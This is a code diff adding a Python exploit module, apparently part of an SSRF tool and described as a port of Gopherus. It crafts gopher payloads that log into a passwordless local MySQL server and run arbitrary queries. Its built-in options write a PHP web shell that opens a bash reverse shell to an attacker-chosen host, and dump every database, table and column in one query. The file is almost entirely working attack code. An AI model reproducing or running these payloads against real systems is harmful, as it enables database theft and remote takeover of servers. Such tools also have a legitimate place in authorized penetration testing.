|
| 1 | +from utils.utils import * |
| 2 | +import logging |
| 3 | +import binascii |
| 4 | + |
| 5 | +# NOTE |
| 6 | +# This exploit is a Python 3 version of the Gopherus tool |
| 7 | + |
| 8 | +name = "mysql" |
| 9 | +description = "Execute MySQL command < 8.0" |
| 10 | +author = "errorfiathck" |
| 11 | +documentation = [] |
| 12 | + |
| 13 | + |
| 14 | +class exploit(): |
| 15 | + user = "root" |
| 16 | + query = "SELECT database();#" |
| 17 | + reverse = "select \"<?php system('bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1'); ?>\" INTO OUTFILE '/var/www/html/shell.php'" |
| 18 | + dios = "(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#" |
| 19 | + |
| 20 | + |
| 21 | + def __init__(self, requester, args): |
| 22 | + logging.info(f"Module '{name}' launched !") |
| 23 | + |
| 24 | + # Encode the username for the request |
| 25 | + self.user = input("Give MySQL username: ") |
| 26 | + encode_user = binascii.hexlify( self.user.encode() ) |
| 27 | + user_length = len(self.user) |
| 28 | + temp = user_length - 4 |
| 29 | + length = f'{(0xa3 + temp):x}' |
| 30 | + |
| 31 | + # Authenticate to MySQL service - only work with users allowed without password |
| 32 | + dump = length+ "00000185a6ff0100000001210000000000000000000000000000000000000000000000" |
| 33 | + dump += encode_user.decode() |
| 34 | + dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c" |
| 35 | + dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d" |
| 36 | + dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c" |
| 37 | + |
| 38 | + query = input("Give MySQL query to execute (reverse/dios or any SQL statement): ") |
| 39 | + |
| 40 | + # Reverse shell - writing system() in /var/www/html/shell.php |
| 41 | + if query == "reverse": |
| 42 | + self.query = self.reverse |
| 43 | + if args.lhost == None: |
| 44 | + self.query = self.query.replace("SERVER_HOST", input("Server Host:")) |
| 45 | + else: |
| 46 | + self.query = self.query.replace("SERVER_HOST", args.lhost) |
| 47 | + |
| 48 | + if args.lport == None: |
| 49 | + self.query = self.query.replace("SERVER_PORT", input("Server Port:")) |
| 50 | + else: |
| 51 | + self.query = self.query.replace("SERVER_PORT", args.lport) |
| 52 | + |
| 53 | + # Dump in one shot - extract every databases/tables/columns |
| 54 | + elif query == "dios": |
| 55 | + self.query = self.dios |
| 56 | + |
| 57 | + else: |
| 58 | + self.query = query |
| 59 | + |
| 60 | + auth = dump.replace("\n","") |
| 61 | + |
| 62 | + # For every IP generated, send the payload and extract the result |
| 63 | + gen_host = gen_ip_list("127.0.0.1", args.level) |
| 64 | + for ip in gen_host: |
| 65 | + payload = self.get_payload(self.query, auth, ip) |
| 66 | + logging.info(f"Generated payload : {payload}") |
| 67 | + |
| 68 | + r1 = requester.do_request(args.param, payload) |
| 69 | + r2 = requester.do_request(args.param, "") |
| 70 | + if r1 != None and r2!= None: |
| 71 | + diff = diff_text(r1.text, r2.text) |
| 72 | + print(diff) |
| 73 | + |
| 74 | + |
| 75 | + def encode(self, s, ip): |
| 76 | + a = [s[i:i + 2] for i in range(0, len(s), 2)] |
| 77 | + return wrapper_gopher("%"+"%".join(a), ip, "3306") |
| 78 | + |
| 79 | + |
| 80 | + def get_payload(self, query, auth, ip): |
| 81 | + if(query.strip()!=''): |
| 82 | + query = binascii.hexlify( query.encode() ) |
| 83 | + query_length = f'{(int((len(query) / 2) + 1)):x}' |
| 84 | + pay1 = query_length.rjust(2,'0') + "00000003" + query.decode() |
| 85 | + final = self.encode(auth + pay1 + "0100000001", ip) |
| 86 | + return final |
| 87 | + else: |
| 88 | + return self.encode(auth, ip) |
0 commit comments